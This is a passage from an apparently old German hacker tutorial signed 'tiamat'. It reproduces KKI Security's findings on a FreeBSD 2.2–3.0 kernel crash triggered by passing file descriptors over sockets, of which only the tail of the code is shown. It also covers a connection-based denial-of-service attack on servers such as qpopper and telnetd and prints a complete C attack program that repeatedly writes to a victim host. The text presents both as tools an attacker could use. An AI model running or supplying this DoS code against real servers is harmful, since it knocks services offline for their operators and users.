mymsghdr.msg_iov = NULL; mymsghdr.msg_iovlen = 0; mymsghdr.msg_control = (caddr_t) &ancdbuf; mymsghdr.msg_controllen = ancdbuf.hdr.cmsg_len; mymsghdr.msg_flags = 0; recvmsg( sockfd,&mymsghdr,0); fd = ancdbuf.fd; close(fd); close( sockfd); } Das KKI Team hat mittels fork() Client und Server gestartet, die dann nach einiger Zeit einen Systemcrash unter FreeBSD 3.0 mit der Meldung "Supervisor read, page not present" hervorriefen. Diese Problematik könnte leicht als Denial of Service Attacke von einem Coolmsn benutzt werden. Der Fehler wurde bisher unter folgenden Systemen reproduziert : FreeBSD 2.2.2, 2.2.6, 2.2.8 und 3.0. an dieser stelle ein danke an kki * Server-Probleme Ebenfalls KKI Security hat wieder ein sehr allgemeines Problem bezüglich zahlreicher Serverprogramme gefunden. Diese Programme haben oft das Problem sich gegen Angriffe zur Wehr zu setzen, welche durch zahlreiche Verbindungs- aufbauten versuchen das Serversystem lahmzulegen. Das kann dadurch erreicht werden, dass für jede Verbindung der Server via fork() einen neuen Prozeß erzeugt, so dass durch die hohe Zahl an Prozessen das System entsprechend belastet und schließlich zum Stillstand kommt. Danke nochmals. Häufig werden Connection-Timeout-Mechanismen benutzt um die Server davor zu schützen. Beispiele hierfür sind zum Beispiel qpopper, in.pop3, telnetd usw. KKI fand nun heraus, dass durch das Senden von bestimmten weiteren Daten (also nicht nur dem Erzeugen der Verbindung) so geschütze Server trotzdem angreifbar sind. KKI veröffentlichte folgendes Beispielprogramm: void main() { int sockfd,j,k; struct sockaddr_in victim_addr; bzero((char *) &victim_addr, sizeof( victim_addr)); victim_addr.sin_family = AF_INET; victim_addr.sin_addr.s_addr = inet_addr( ADDR); victim_addr.sin_port = htons( PORT); if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0) fprintf( stderr, "socket error\n"); if( connect( sockfd,(struct sockaddr*) &victim_addr, sizeof( victim_addr)) < 0) fprintf( stderr,"connect error\n"); k = 1; if( setsockopt( sockfd,IPPROTO_TCP,TCP_NODELAY,&k,sizeof( k)) != 0) fprintf( stderr,"setsockopt error\n"); j = strlen( COMMAND); /*DoS Routine*/ for(;;) { if( write( sockfd,COMMAND,j) == -1) fprintf( stderr,"write error\n"); fprintf( stderr,"."); sleep( DELAY); } } leider muss ich dieses tut jetzt beenden, mit geht der ram aus. see ya in thread 2. tiamat